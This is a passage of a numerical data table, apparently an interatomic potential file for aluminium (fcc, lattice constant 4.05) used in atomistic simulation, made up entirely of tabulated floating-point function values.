0.1275762339503552E+00  0.1265844877921041E+00  0.1256008605227379E+00  0.1246252398469633E+00\n  0.1236575154703454E+00  0.1226975790717512E+00  0.1217453242758857E+00  0.1208006466259300E+00  0.1198634435562893E+00\n  0.1189336143654594E+00  0.1180110601890202E+00  0.1170956839727626E+00  0.1161873904459593E+00  0.1152860860947805E+00\n  0.1143916791358692E+00  0.1135040794900743E+00  0.1126231987563555E+00  0.1117489501858582E+00  0.1108812486561707E+00\n  0.1100200106457653E+00  0.1091651542086276E+00  0.1083165989490820E+00  0.1074742659968154E+00  0.1066380779821052E+00\n  0.1058079590112519E+00  0.1049838346422265E+00  0.1041656318605295E+00  0.1033532790552702E+00  0.1025467059954647E+00\n  0.1017458438065610E+00  0.1009506249471885E+00  0.1001609831861390E+00  0.9937685357957692E-01  0.9859817244848566E-01\n  0.9782487735634983E-01  0.9705690708707349E-01  0.9629420162313919E-01  0.9553670212400750E-01  0.9478435090475915E-01\n  0.9403709141497944E-01  0.9329486821788784E-01  0.9255762696971309E-01  0.9182531439931366E-01  0.9109787828804443E-01\n  0.9037526744987140E-01  0.8965743171173354E-01  0.8894432189415159E-01  0.8823588979208480E-01  0.8753208815603555E-01\n  0.8683287067340226E-01  0.8613819195007733E-01  0.8544800749229453E-01  0.8476227368872161E-01  0.8408094779279952E-01\n  0.8340398790532604E-01  0.8273135295728512E-01  0.8206300269292026E-01  0.8139889765304979E-01  0.8073899915862499E-01\n  0.8008326929452908E-01  0.7943167089361686E-01  0.7878416752099129E-01  0.7814072345852002E-01  0.7750130368958605E-01\n  0.7686587388407512E-01  0.7623440038359473E-01  0.7560685018692687E-01  0.7498319093571042E-01  0.7436339090035288E-01\n  0.7374741896616860E-01  0.7313524461974377E-01  0.7252683793552536E-01  0.7192216956263091E-01  0.7132121071188088E-01\n  0.7072393314304767E-01  0.7013030915232332E-01  0.6954031156000041E-01  0.6895391369836718E-01  0.6837108939981353E-01\n  0.6779181298514624E-01  0.6721605925211059E-01  0.6664380346411826E-01  0.6607502133917825E-01  0.6550968903902774E-01\n  0.6494778315846379E-01  0.6438928071487048E-01  0.6383415913794230E-01  0.6328239625959906E-01  0.6273397030409252E-01\n  0.6218885987830131E-01  0.6164704396221248E-01  0.6110850189958664E-01  0.6057321338880634E-01  0.6004115847390429E-01\n  0.5951231753576908E-01  0.5898667128352685E-01  0.5846420074609691E-01  0.5794488726391903E-01  0.5742871248084910E-01\n  0.5691565833622340E-01  0.5640570705708669E-01  0.5589884115058460E-01  0.5539504339651542E-01  0.5489429684004177E-01\n  0.5439658478455860E-01  0.5390189078471544E-01  0.5341019863959112E-01  0.5292149238601910E-01  0.5243575629206128E-01\n  0.5195297485062703E-01  0.5147313277323774E-01  0.5099621498393213E-01  0.5052220661331305E-01  0.5005109299273101E-01\n  0.4958285964860470E-01  0.4911749229687554E-01  0.4865497683759399E-01  0.4819529934963621E-01  0.4773844608554897E-01\n  0.4728440346652141E-01  0.4683315807748007E-01  0.4638469666230777E-01  0.4593900611918208E-01  0.4549607349603369E-01\n  0.4505588598612064E-01  0.4461843092371864E-01  0.4418369577992455E-01  0.4375166815857148E-01  0.4332233579225347E-01\n  0.4289568653845881E-01  0.4247170837580991E-01  0.4205038940040735E-01  0.4163171782227736E-01  0.4121568196192090E-01\n  0.4080227024696274E-01  0.4039147120889799E-01  0.3998327347993617E-01  0.3957766578994016E-01  0.3917463696345855E-01\n  0.3877417591685010E-01  0.3837627165549899E-01  0.3798091327111933E-01  0.3758808993914695E-01  0.3719779091621782E-01\n  0.3681000553773126E-01  0.3642472321549702E-01  0.3604193343546399E-01  0.3566162575553031E-01  0.3528378980343305E-01\n  0.3490841527471608E-01  0.3453549193077510E-01  0.3416500959697864E-01  0.3379695816086406E-01  0.3343132757040658E-01\n  0.3306810783236118E-01  0.3270728901067565E-01  0.3234886122497425E-01  0.3199281464910996E-01  0.3163913950978563E-01\n  0.3128782608524168E-01  0.3093886470401072E-01  0.3059224574373675E-01  0.3024795963005924E-01  0.2990599683556058E-01\n  0.2956634787877624E-01  0.2922900332326631E-01  0.2889395377674870E-01  0.2856118989029233E-01  0.2823070235756949E-01\n  0.2790248191416771E-01  0.2757651933695894E-01  0.2725280544352705E-01  0.2693133109165141E-01  0.2661208717884729E-01\n  0.2629506464196176E-01  0.2598025445682497E-01  0.2566764763795566E-01  0.2535723523832159E-01  0.2504900834915327E-01\n  0.2474295809981158E-01  0.2443907565770799E-01  0.2413735222827780E-01  0.2383777905500606E-01  0.2354034741950517E-01\n  0.2324504864164501E-01  0.2295187407973472E-01  0.2266081513075604E-01  0.2237186323064830E-01  0.2208500985464502E-01\n  0.2180024651766184E-01  0.2151756477473634E-01  0.2123695622151859E-01  0.2095841249481422E-01  0.2068192527317876E-01\n  0.2040748627756411E-01  0.2013508727201714E-01  0.1986472006443057E-01  0.1959637650734679E-01  0.1933004849881481E-01\n  0.1906572798330038E-01  0.1880340695265023E-01  0.1854307744711091E-01  0.1828473155640220E-01  0.1802836142084625E-01\n  0.1777395923255295E-01  0.1752151723666215E-01  0.1727102773264334E-01  0.1702248307565384E-01  0.1677587567795624E-01\n  0.1653119801039607E-01  0.1628844260394024E-01  0.1604760205127793E-01  0.1580866900848456E-01  0.1557163619674996E-01\n  0.1533649640417201E-01  0.1510324248761716E-01  0.1487186737464884E-01  0.1464236406552526E-01  0.1441472563526792E-01\n  0.1418894523580252E-01  0.1396501609817369E-01  0.1374293153483488E-01  0.1352268494201562E-01  0.1330426980216726E-01\n  0.1308767968648953E-01  0.1287290825753935E-01  0.1265994927192371E-01  0.1244879658307933E-01  0.1223944414413996E-01\n  0.1203188601089432E-01  0.1182611634483635E-01  0.1162212941630988E-01  0.1141991960775031E-01  0.1121948141702494E-01\n  0.1102080946087490E-01  0.1082389847846042E-01  0.1062874333501194E-01  0.1043533902558977E-01  0.1024368067895393E-01\n  0.1005376356154735E-01  0.9865583081593922E-02  0.9679134793314684E-02  0.9494414401263529E-02  0.9311417764785166E-02\n  0.9130140902597625E-02  0.8950579997500882E-02  0.8772731401214267E-02  0.8596591639343950E-02  0.8422157416482423E-02\n  0.8249425621441884E-02  0.8078393332622082E-02  0.7909057823514530E-02  0.7741416568343256E-02  0.7575467247842871E-02\n  0.7411207755174127E-02  0.7248636201976184E-02  0.7087750924555473E-02  0.6928550490209059E-02  0.6771033703680868E-02\n  0.6615199613748215E-02  0.6461047519934641E-02  0.6308576979345235E-02  0.6157787813618597E-02  0.6008680115989046E-02\n  0.5861254258451652E-02  0.5715510899020261E-02  0.5571450989068522E-02  0.5429075780740853E-02  0.5288386834419521E-02\n  0.5149386026230897E-02  0.5012075555572173E-02  0.4876457952637328E-02  0.4742536085917297E-02  0.4610313169647435E-02\n  0.4479792771170533E-02  0.4350978818180493E-02  0.4223875605807347E-02  0.4098487803498918E-02  0.3974820461650163E-02\n  0.3852879017924298E-02  0.3732669303204216E-02  0.3614197547105479E-02  0.3497470382973937E-02  0.3382494852283408E-02\n  0.3269278408338597E-02  0.3157828919178777E-02  0.3048154669566634E-02  0.2940264361933685E-02  0.2834167116141327E-02\n  0.2729872467901025E-02  0.2627390365681719E-02  0.2526731165915232E-02  0.2427905626291050E-02  0.2330924896912227E-02\n  0.2235800509061165E-02  0.2142544361300639E-02  0.2051168702609613E-02  0.1961686112225166E-02  0.1874109475832896E-02\n  0.1788451957715710E-02  0.1704726968437611E-02  0.1622948127603452E-02  0.1543129221197582E-02  0.1465284152965789E-02\n  0.1389426889263572E-02  0.1315571396752711E-02  0.1243731572285281E-02  0.1173921164272465E-02  0.1106153684794404E-02\n  0.1040442311668004E-02  0.9767997796547971E-03  0.9152382599604941E-03  0.8557692271559906E-03  0.7984033126378760E-03\n  0.7431501437484684E-03  0.6900181676963877E-03  0.6390144594619438E-03  0.5901445129451447E-03  0.5434120147240581E-03\n  0.4988185999463610E-03  0.4563635900883120E-03  0.4160437125934487E-03  0.3778528027632167E-03  0.3417814887280997E-03\n  0.3078168608981688E-03  0.2759421279962239E-03  0.2461362626341978E-03  0.2183736404266527E-03  0.1926236778641105E-03\n  0.1688504756124491E-03  0.1470124755772384E-03  0.1270621419785909E-03  0.1089456788163143E-03  0.9260279843818645E-04\n  0.7796655839983218E-04  0.6496328632466781E-04  0.5351261488371726E-04  0.4352765109263255E-04  0.3491530554961739E-04\n  0.2757680758595959E-04  0.2140843101578471E-04  0.1630245156608879E-04  0.1214835033531085E-04  0.8834266891203550E-05\n  0.6248690035680286E-05  0.4282353222462611E-05  0.2830275035848309E-05  0.1793853932613698E-05  0.1082893085919590E-05\n  0.6174003285747537E-06  0.3289872539180627E-06  0.1616905202076728E-06  0.7206870776681014E-07  0.2849911999804606E-07\n  0.9712198708650968E-08  0.2742442283547959E-08  0.6076172112450161E-09  0.9772731077597771E-10  0.1017048852958432E-10\n  0.5734341782146348E-12  0.1311491489053561E-13  0.7338688834175233E-16  0.3808514445153469E-19  0.2185032842849075E-24\n  0.4450194794086531E-34  0.4448435176905321E-58  0.1173305758391880E-217  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n   13     26.982         4.0500        fcc \n  0.0000000000000000E+00 -0.9628279509886344E-01 -0.9953365511717502E-01 -0.1085367257834955E+00 -0.1214218487615201E+00\n -0.1368680672855588E+00 -0.1540621427490459E+00 -0.1724823698187966E+00 -0.1917766936082239E+00 -0.2116972667780488E+00\n -0.2320627441427241E+00 -0.2527367403313019E+00 -0.2736137350811652E+00 -0.2946105714789528E+00 -0.3156602493701524E+00\n -0.3367083306444053E+00 -0.3577089488344269E+00 -0.3786243739249987E+00 -0.3994221660811231E+00 -0.4200735094048743E+00\n -0.4404904782781875E+00 -0.4603267076635175E+00 -0.4791342002596235E+00 -0.4966697876448934E+00 -0.5129130363987204E+00\n -0.5279649398751899E+00 -0.5419673801142365E+00 -0.5550615741668476E+00 -0.5673715677751278E+00 -0.5790001198451177E+00\n -0.5900298137753388E+00 -0.6005259461781434E+00 -0.6105396931325852E+00 -0.6201109775165654E+00 -0.6292707959422479E+00\n -0.6380435230284373E+00 -0.6464477036605579E+00 -0.6544979268477449E+00 -0.6622058329958839E+00 -0.6695796004816827E+00\n -0.6766263822113870E+00 -0.6833513422524340E+00 -0.6897586759282083E+00 -0.6958513916294100E+00 -0.7016318963634165E+00\n -0.7071020397392846E+00 -0.7122632455033970E+00 -0.7171166154132189E+00 -0.7216630115090188E+00 -0.7259031214369276E+00\n -0.7298375104167867E+00 -0.7334666626446351E+00 -0.7367910666835507E+00 -0.7398107650409456E+00 -0.7425268555598952E+00\n -0.7449393618108722E+00 -0.7470487599589724E+00 -0.7488555593770301E+00 -0.7503603132693473E+00 -0.7515636266841099E+00\n -0.7524661625108897E+00 -0.7530686459172391E+00 -0.7533718513852463E+00 -0.7533768363262632E+00 -0.7530840012877273E+00\n -0.7524921131814579E+00 -0.7515804606478103E+00 -0.7502792607163535E+00 -0.7484607038243816E+00 -0.7459636916668000E+00\n -0.7426298640002307E+00 -0.7383310820407341E+00 -0.7329796809143272E+00 -0.7265308852606689E+00 -0.7189742772379484E+00\n -0.7103273715872973E+00 -0.7006269201238819E+00 -0.6899214100415596E+00 -0.6782669062893683E+00 -0.6657222644919032E+00\n -0.6523467518594732E+00 -0.6381981822655980E+00 -0.6233317828078055E+00 -0.6077995440370048E+00 -0.5916499059655702E+00\n -0.5749276704151935E+00 -0.5576740608036261E+00 -0.5399269902646231E+00 -0.5217207897977505E+00 -0.5030872174417831E+00\n -0.4840550838961484E+00 -0.4646507036272260E+00 -0.4448981173724120E+00 -0.4248192982742891E+00 -0.4044343519155205E+00\n -0.3837617000246638E+00 -0.3628182478945590E+00 -0.3416195360896790E+00 -0.3201798773328464E+00 -0.2985124796289278E+00\n -0.2766295567505006E+00 -0.2545424272145054E+00 -0.2322616028428013E+00 -0.2097968679392537E+00 -0.1871573500428596E+00\n -0.1643515831380795E+00 -0.1413875641241673E+00 -0.1182728032683014E+00 -0.9501436929434126E-01 -0.7161893009339959E-01\n -0.4809278834346697E-01 -0.2444191370712145E-01 -0.6719720983290323E-03  0.2321164851959434E-01  0.4720381488457415E-01\n  0.7129962756731612E-01  0.9549440222479744E-01  0.1197836527451308E+00  0.1441630239601834E+00  0.1686284833950578E+00\n  0.1931760053643994E+00  0.2178017590483101E+00  0.2425020494231500E+00  0.2672733026214353E+00  0.2921120755096318E+00\n  0.3170150833336578E+00  0.3419794799317026E+00  0.3670036243095800E+00  0.3920881689533946E+00  0.4172368973967129E+00\n  0.4424568644116991E+00  0.4677578158531293E+00  0.4931511605824372E+00  0.5186488234682329E+00  0.5442622221402917E+00\n  0.5700014909585294E+00  0.5958749808858199E+00  0.6218890074764571E+00  0.6480477945330341E+00  0.6743535566999124E+00\n  0.7008066705597229E+00  0.7274058941450217E+00  0.7541486054898794E+00  0.7810310401956295E+00  0.8080485153972305E+00\n  0.8351956330126833E+00  0.8624664590130959E+00  0.8898546780165009E+00  0.9173537241128331E+00  0.9449568897488558E+00\n  0.9726574149554992E+00  0.1000448559348619E+01  0.1028323659291245E+01  0.1056276172451073E+01  0.1084299711777170E+01\n  0.1112388070685622E+01  0.1140535241011345E+01  0.1168735425061202E+01  0.1196983042901978E+01  0.1225272735836553E+01\n  0.1253599366863931E+01  0.1281958018782363E+01  0.1310343990479578E+01  0.1338752791854684E+01  0.1367180137734465E+01\n  0.1395621941077129E+01  0.1424074305699794E+01  0.1452533518717449E+01  0.1480996042842949E+01  0.1509458508665117E+01\n  0.1537917706995331E+01  0.1566370831749105E+01  0.1594814471963946E+01  0.1623246104160209E+01  0.1651663086958648E+01\n  0.1680062903840593E+01  0.1708443156854245E+01  0.1736801560607192E+01  0.1765135936545083E+01  0.1793444207513674E+01\n  0.1821724397566120E+01  0.1849974626590099E+01  0.1878193078402154E+01  0.1906378032515773E+01  0.1934527846644618E+01\n  0.1962640952792409E+01  0.1990715853560963E+01  0.2018751118665230E+01  0.2046745381644585E+01  0.2074697336759590E+01\n  0.2102605736064189E+01  0.2130469386642917E+01  0.2158287148004209E+01  0.2186057929620079E+01  0.2213780688603973E+01\n  0.2241454427518249E+01  0.2269078192303640E+01  0.2296651070323292E+01  0.2324172188515120E+01  0.2351640711701886E+01\n  0.2379055842086045E+01  0.2406416827027384E+01  0.2433722996957316E+01  0.2460973865437883E+01  0.2488169306929864E+01\n  0.2515309789359613E+01  0.2542396607347866E+01  0.2569432057808982E+01  0.2596419519065771E+01  0.2623363422536599E+01\n  0.2650269129601363E+01  0.2677142739909846E+01  0.2703990861443457E+01  0.2730820370008068E+01  0.2757638179775513E+01\n  0.2784451039495457E+01  0.2811265362580523E+01  0.2838087094127737E+01  0.2864921614243932E+01  0.2891773674664324E+01\n  0.2918647364337785E+01  0.2945546099121457E+01  0.2972472630730262E+01  0.2999429070422704E+01  0.3026416923420929E+01\n  0.3053437130653784E+01  0.3080490115009347E+01  0.3107575829842219E+01  0.3134693807981898E+01  0.3161843209919625E+01\n  0.3189022870212173E+01  0.3216231341437487E+01  0.3243466935272163E+01  0.3270727760447288E+01  0.3298011757479649E+01\n  0.3325316730182467E+01  0.3352640374035690E+01  0.3379980301550311E+01  0.3407334064796215E+01  0.3434699175284783E+01\n  0.3462073121407959E+01  0.3489453383638473E+01  0.3516837447692921E+01  0.3544222815852538E+01  0.3571607016626300E+01\n  0.3598987612930495E+01  0.3626362208945728E+01  0.3653728455799938E+01  0.3681084056213634E+01  0.3708426768230866E+01\n  0.3735754408148046E+01  0.3763064852741161E+01  0.3790356040882480E+01  0.3817625974627172E+01  0.3844872719842444E+01\n  0.3872094406443206E+01  0.3899289228291301E+01  0.3926455442808664E+01  0.3953591370348690E+01  0.3980695393365072E+01\n  0.4007765955412338E+01  0.4034801560008381E+01  0.4061800769384807E+01  0.4088762203148616E+01  0.4115684536874605E+01\n  0.4142566500646071E+01  0.4169406877558640E+01  0.4196204502200039E+01  0.4222958259116835E+01  0.4249667081277604E+01\n  0.4276329948540632E+01  0.4302945886132529E+01  0.4329513963143877E+01  0.4356033291046330E+01  0.4382503022235336E+01\n  0.4408922348601389E+01  0.4435290500132353E+01  0.4461606743549172E+01  0.4487870380976208E+01  0.4514080748647457E+01\n  0.4540237215649173E+01  0.4566339182699858E+01  0.4592386080967303E+01  0.4618377370923009E+01  0.4644312541233742E+01\n  0.4670191107689631E+01  0.4696012612168792E+01  0.4721776621637420E+01  0.4747482727184995E+01  0.4773130543093758E+01\n  0.4798719705941583E+01  0.4824249873737505E+01  0.4849720725089056E+01  0.4875131958400324E+01  0.4900483291100185E+01\n  0.4925774458899197E+01  0.4951005215074943E+01  0.4976175329784288E+01  0.5001284589402100E+01  0.5026332801140161E+01\n  0.5051319771276494E+01  0.5076245336511819E+01  0.5101109341973393E+01  0.5125911646062397E+01  0.5150652119931829E+01\n  0.5175330646984699E+01  0.5199947122391546E+01  0.5224501452626964E+01  0.5248993555024179E+01  0.5273423357346785E+01\n  0.5297790805953600E+01  0.5322095829385203E+01  0.5346338394872665E+01  0.5370518467903519E+01  0.5394636022497286E+01\n  0.5418691040867781E+01  0.5442683513098503E+01  0.5466613436830711E+01  0.5490480816963549E+01  0.5514285665365584E+01\n  0.5538028000597862E+01  0.5561707847647368E+01  0.5585325237670777E+01  0.5608880207748139E+01  0.5632372800646136E+01\n  0.5655803064590023E+01  0.5679171053044746E+01  0.5702476824504079E+01  0.5725720442287942E+01  0.5748901974347438E+01\n  0.5772021493077228E+01  0.5795079075135007E+01  0.5818074801267764E+01  0.5841008756144801E+01  0.5863881028196719E+01\n  0.5886691709361872E+01  0.5909440895975128E+01  0.5932128683720454E+01  0.5954755179911128E+01  0.5977320485443878E+01\n  0.5999824709469358E+01  0.6022267962734361E+01  0.6044650358660738E+01  0.6066972013230976E+01  0.6089233044877606E+01\n  0.6111433574377054E+01  0.6133573724746905E+01  0.6155653621147478E+01  0.6177673390786589E+01  0.6199633162827851E+01\n  0.6221533068302496E+01  0.6243373240024188E+01  0.6265153812506977E+01  0.6286874921886278E+01  0.6308536705842656E+01\n  0.6330139303528365E+01  0.6351682855496508E+01  0.6373167503632674E+01  0.6394593391089307E+01  0.6415960662221997E+01\n  0.6437269462528379E+01  0.6458519938589133E+01  0.6479712238010886E+01  0.6500846509371517E+01  0.6521922902167027E+01\n  0.6542941566760541E+01  0.6563902654333011E+01  0.6584806316835689E+01  0.6605652706944284E+01  0.6626441978014737E+01\n  0.6647174088072036E+01  0.6667849577716816E+01  0.6688468412040860E+01  0.6709030746709217E+01  0.6729536737868406E+01\n  0.6749986542110525E+01  0.6770380316439014E+01  0.6790718218235369E+01  0.6811000456475160E+01  0.6831227079554464E+01\n  0.6851398303748420E+01  0.6871514287649720E+01  0.6891575190080648E+01  0.6911581170066203E+01  0.6931532386808209E+01\n  0.6951428999660269E+01  0.6971271168103572E+01  0.6991059051723765E+01  0.7010792810188176E+01  0.7030472603224527E+01\n  0.7050098590599536E+01  0.7069670932099115E+01  0.7089189787508612E+01  0.7108655316594129E+01  0.7128067679084379E+01\n  0.7147427034653132E+01  0.7166733542902411E+01  0.7185987363346015E+01  0.7205188655394117E+01  0.7224337578337899E+01\n  0.7243434291334958E+01  0.7262478953395287E+01  0.7281471723367670E+01  0.7300412759926576E+01  0.7319302221559616E+01\n  0.7338140266555139E+01  0.7356927052990867E+01  0.7375662738722378E+01  0.7394347481372199E+01  0.7412981438319438E+01\n  0.7431564766689641E+01  0.7450097623345021E+01  0.7468580164875283E+01  0.7487012547588363E+01  0.7505394927501915E+01\n  0.7523727460334936E+01  0.7542010301499733E+01  0.7560243606094313E+01  0.7578427528894725E+01  0.7596562224348212E+01\n  0.7614647846566118E+01  0.7632684549317478E+01  0.7650672486022634E+01  0.7668611809747173E+01  0.7686502673196021E+01\n  0.7704345228708073E+01  0.7722139628250660E+01  0.7739886023414384E+01  0.7757584565408455E+01  0.7775235405055646E+01\n  0.7792838692788044E+01  0.7810394578642622E+01  0.7827903212257197E+01  0.7845364742866390E+01  0.7862779319297943E+01\n  0.7880147089969217E+01  0.7897468202883433E+01  0.7914742805626958E+01  0.7931971045365675E+01  0.7949153068842364E+01\n  0.7966289022373804E+01  0.7983379051848088E+01  0.8000423302722167E+01  0.8017421920019366E+01  0.8034375048327233E+01\n  0.8051282831795312E+01  0.8068145414133273E+01  0.8084962938608882E+01  0.8101735548046269E+01  0.8118463384824164E+01\n  0.8135146590874683E+01  0.8151785307681390E+01  0.8168379676278345E+01  0.8184929837248552E+01  0.8201435930723028E+01\n  0.8217898096379580E+01  0.8234316473441851E+01  0.8250691200678498E+01  0.8267022416402313E+01  0.8283310258469461E+01\n  0.8299554864278941E+01  0.8315756370771805E+01  0.8331914914430893E+01  0.8348030631280192E+01  0.8364103656884673E+01\n  0.8380134126349787E+01  0.8396122174321329E+01  0.8412067934985277E+01  0.8427971542067645E+01  0.8443833128834413E+01\n  0.8459652828091619E+01  0.8475430772185273E+01  0.8491167093001646E+01  0.8506861921967246E+01  0.8522515390049147E+01\n  0.8538127627755209E+01  0.8553698765134389E+01  0.8569228931777127E+01  0.8584718256815695E+01  0.8600166868924553E+01\n  0.8615574896321021E+01  0.8630942466765738E+01  0.8646269707563008E+01  0.8661556745561711E+01  0.8676803707155621E+01\n  0.8692010718284379E+01  0.8707177904433900E+01  0.8722305390637324E+01  0.8737393301475592E+01  0.8752441761078339E+01\n  0.8767450893124774E+01  0.8782420820844322E+01  0.8797351667017651E+01  0.8812243553977586E+01  0.8827096603609940E+01\n  0.8841910937354429E+01  0.8856686676205864E+01  0.8871423940714820E+01  0.8886122850988944E+01  0.8900783526693864E+01\n  0.8915406087054141E+01  0.8929990650854535E+01  0.8944537336441012E+01  0.8959046261721827E+01  0.8973517544168701E+01\n  0.8987951300817869E+01  0.9002347648271487E+01  0.9016706702698437E+01  0.9031028579835858E+01  0.9045313394990188E+01\n  0.9059561263038376E+01  0.9073772298429056E+01  0.9087946615184084E+01  0.9102084326899423E+01  0.9116185546746657E+01\n  0.9130250387474085E+01  0.9144278961408215E+01  0.9158271380454892E+01  0.9172227756100682E+01  0.9186148199414212E+01\n  0.9200032821047387E+01  0.9213881731236844E+01  0.9227695039805166E+01  0.9241472856162442E+01  0.9255215289307372E+01\n  0.9268922447828803E+01  0.9282594439906916E+01  0.9296231373314885E+01  0.9309833355419986E+01  0.9323400493185019E+01\n  0.9336932882359978E+01  0.9350430594893881E+01  0.9363893783342821E+01  0.9377322553011272E+01  0.9390717008807609E+01\n  0.9404077255245511E+01  0.9417403396445167E+01  0.9430695536134984E+01  0.9443953777652798E+01  0.9457178223947256E+01\n  0.9470368977579316E+01  0.9483526140723573E+01  0.9496649815169690E+01  0.9509740102323899E+01  0.9522797103210273E+01\n  0.9535822238420437E+01  0.9548812165768359E+01  0.9561769891801452E+01  0.9574694732427433E+01  0.9587586786767478E+01\n  0.9600446153569266E+01  0.9613272931208536E+01  0.9626067217690245E+01  0.9638829110650304E+01  0.9651558707356724E+01\n  0.9664256104711166E+01  0.9676921399250290E+01  0.9689554687147089E+01  0.9702157469174860E+01  0.9714727037387689E+01\n  0.9727264885308301E+01  0.9739771107669302E+01  0.9752245798846879E+01  0.9764689052861872E+01  0.9777100963381457E+01\n  0.9789481623720420E+01  0.9801831126842281E+01  0.9814149565361319E+01  0.9826437031543161E+01  0.9838693617306955E+01\n  0.9850919414226038E+01  0.9863114513529872E+01  0.9875279006105066E+01  0.9887412982496855E+01  0.9899516532910610E+01\n  0.9911589747212901E+01  0.9923632714933214E+01  0.9935645525264956E+01  0.9947628267067159E+01  0.9959581028865557E+01\n  0.9971503898854007E+01  0.9983396964895977E+01  0.9995260314525778E+01  0.1000709403494981E+02  0.1001889821304812E+02\n  0.1003067293537552E+02  0.1004241828816303E+02  0.1005413435731925E+02  0.1006582122843160E+02  0.1007747898676759E+02\n  0.1008910771727630E+02  0.1010070750458943E+02  0.1011227843302306E+02  0.1012382058657841E+02  0.1013533404894347E+02\n  0.1014681890349423E+02  0.1015827523329602E+02  0.1016970312110463E+02  0.1018110264936784E+02  0.1019247390022638E+02\n  0.1020381695551557E+02  0.1021513189676633E+02  0.1022641880520652E+02  0.1023767776176225E+02  0.1024890884705905E+02\n  0.1026011214142316E+02  0.1027128772488293E+02  0.1028243567716970E+02  0.1029355607771946E+02  0.1030464900567390E+02\n  0.1031571453988140E+02  0.1032675275889879E+02  0.1033776374099216E+02  0.1034874756413813E+02  0.1035970430602517E+02\n  0.1037063404405489E+02  0.1038153685534300E+02  0.1039241281672065E+02  0.1040326200473567E+02  0.1041408449565369E+02\n  0.1042488036545932E+02  0.1043564968985735E+02  0.1044639254427403E+02  0.1045710900385802E+02  0.1046779914348181E+02\n  0.1047846303774262E+02  0.1048910076096391E+02  0.1049971238719612E+02  0.1051029799021812E+02  0.1052085764353829E+02\n  0.1053139142039568E+02  0.1054189939376099E+02  0.1055238163633786E+02  0.1056283822056399E+02  0.1057326921861215E+02\n  0.1058367470239147E+02  0.1059405474354847E+02  0.1060440941346801E+02  0.1061473878327465E+02  0.1062504292383371E+02\n  0.1063532190575210E+02  0.1064557579937992E+02  0.1065580467481084E+02  0.1066600860188387E+02  0.1067618765018412E+02\n  0.1068634188904373E+02  0.1069647138754325E+02  0.1070657621451248E+02  0.1071665643853165E+02  0.1072671212793241E+02\n  0.1073674335079890E+02  0.1074675017496875E+02  0.1075673266803417E+02  0.1076669089734308E+02  0.1077662492999989E+02\n  0.1078653483286685E+02  0.1079642067256462E+02  0.1080628251547384E+02  0.1081612042773567E+02  0.1082593447525316E+02\n  0.1083572472369191E+02  0.1084549123848135E+02  0.1085523408481566E+02  0.1086495332765466E+02  0.1087464903172486E+02\n  0.1088432126152055E+02  0.1089397008130446E+02  0.1090359555510911E+02  0.1091319774673763E+02  0.1092277671976472E+02\n  0.1093233253753738E+02  0.1094186526317629E+02  0.1095137495957662E+02  0.1096086168940853E+02  0.1097032555892928E+02\n  0.1097976666590150E+02  0.1098918498743821E+02  0.1099858058553585E+02  0.1100795352196447E+02  0.1101730385826855E+02\n  0.1102663165576839E+02  0.1103593697556089E+02  0.1104521987852084E+02  0.1105448042530153E+02  0.1106371867633628E+02\n  0.1107293247783943E+02  0.1108212631163812E+02  